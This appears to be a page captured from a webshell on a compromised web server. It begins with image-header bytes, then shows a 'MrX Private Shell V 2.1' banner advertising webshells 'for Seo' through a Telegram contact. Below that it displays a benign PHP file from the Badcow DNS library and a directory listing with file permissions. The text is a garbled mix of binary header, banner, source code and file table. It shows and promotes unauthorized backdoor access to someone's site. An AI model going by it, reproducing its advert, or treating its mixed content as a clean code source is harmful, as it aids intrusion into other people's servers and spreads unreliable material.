����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS;
use Badcow\DNS\Rdata\DecodeException;
use Badcow\DNS\Rdata\Types;
use Badcow\DNS\Rdata\UnsupportedTypeException;
use InvalidArgumentException;
use UnexpectedValueException;
class Question
{
/**
* @var string
*/
private $name;
/**
* @var int
*/
private $typeCode;
/**
* @var int
*/
private $classId;
public function getName(): string
{
return $this->name;
}
/**
* @param string $name
*
* @throws InvalidArgumentException
*/
public function setName($name): void
{
if (!Validator::fullyQualifiedDomainName($name, false)) {
throw new InvalidArgumentException(sprintf('"%s" is not a fully qualified domain name.', $name));
}
$this->name = $name;
}
public function getTypeCode(): int
{
return $this->typeCode;
}
/**
* @throws UnsupportedTypeException
*/
public function getType(): string
{
return Types::getName($this->typeCode);
}
/**
* @throws \DomainException
*/
public function setTypeCode(int $typeCode): void
{
if (!Validator::isUnsignedInteger($typeCode, 16)) {
throw new \DomainException(sprintf('TypeCode must be an unsigned 16-bit integer. "%d" given.', $typeCode));
}
$this->typeCode = $typeCode;
}
/**
* @throws UnsupportedTypeException
*/
public function setType(string $type): void
{
$this->setTypeCode(Types::getTypeCode($type));
}
public function getClassId(): int
{
return $this->classId;
}
public function getClass(): string
{
return Classes::getClassName($this->classId);
}
/**
* @throws \InvalidArgumentException
*/
public function setClassId(int $classId): void
{
if (!Validator::isUnsignedInteger($classId, 16)) {
throw new InvalidArgumentException(sprintf('Invalid class: "%s".', $classId));
}
$this->classId = $classId;
}
public function setClass(string $class): void
{
$this->setClassId(Classes::getClassId($class));
}
public function toWire(): string
{
return Message::encodeName($this->name).pack('nn', $this->typeCode, $this->classId);
}
/**
* @throws UnexpectedValueException
* @throws UnsupportedTypeException
*/
public static function fromWire(string $encoded, int &$offset = 0): Question
{
$question = new self();
$question->setName(Message::decodeName($encoded, $offset));
if (false === $integers = unpack('ntype/nclass', $encoded, $offset)) {
throw new \UnexpectedValueException(sprintf('Malformed DNS query encountered. "%s"', DecodeException::binaryToHex($encoded)));
}
$question->setTypeCode($integers['type']);
$question->setClassId($integers['class']);
$offset += 4;
return $question;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Edns | Folder | 0755 |
|
|
| Parser | Folder | 0755 |
|
|
| Rdata | Folder | 0755 |
|
|
| Algorithms.php | File | 4.4 KB | 0644 |
|
| AlignedBuilder.php | File | 7.75 KB | 0644 |
|
| AlignedRdataFormatters.php | File | 5.66 KB | 0644 |
|
| Classes.php | File | 1.85 KB | 0644 |
|
| Message.php | File | 10.45 KB | 0644 |
|
| Opcode.php | File | 831 B | 0644 |
|
| Question.php | File | 3.19 KB | 0644 |
|
| Rcode.php | File | 2.12 KB | 0644 |
|
| ResourceRecord.php | File | 5.5 KB | 0644 |
|
| UnsetValueException.php | File | 329 B | 0644 |
|
| Validator.php | File | 8.4 KB | 0644 |
|
| Zone.php | File | 4.08 KB | 0644 |
|
| ZoneBuilder.php | File | 4.14 KB | 0644 |
|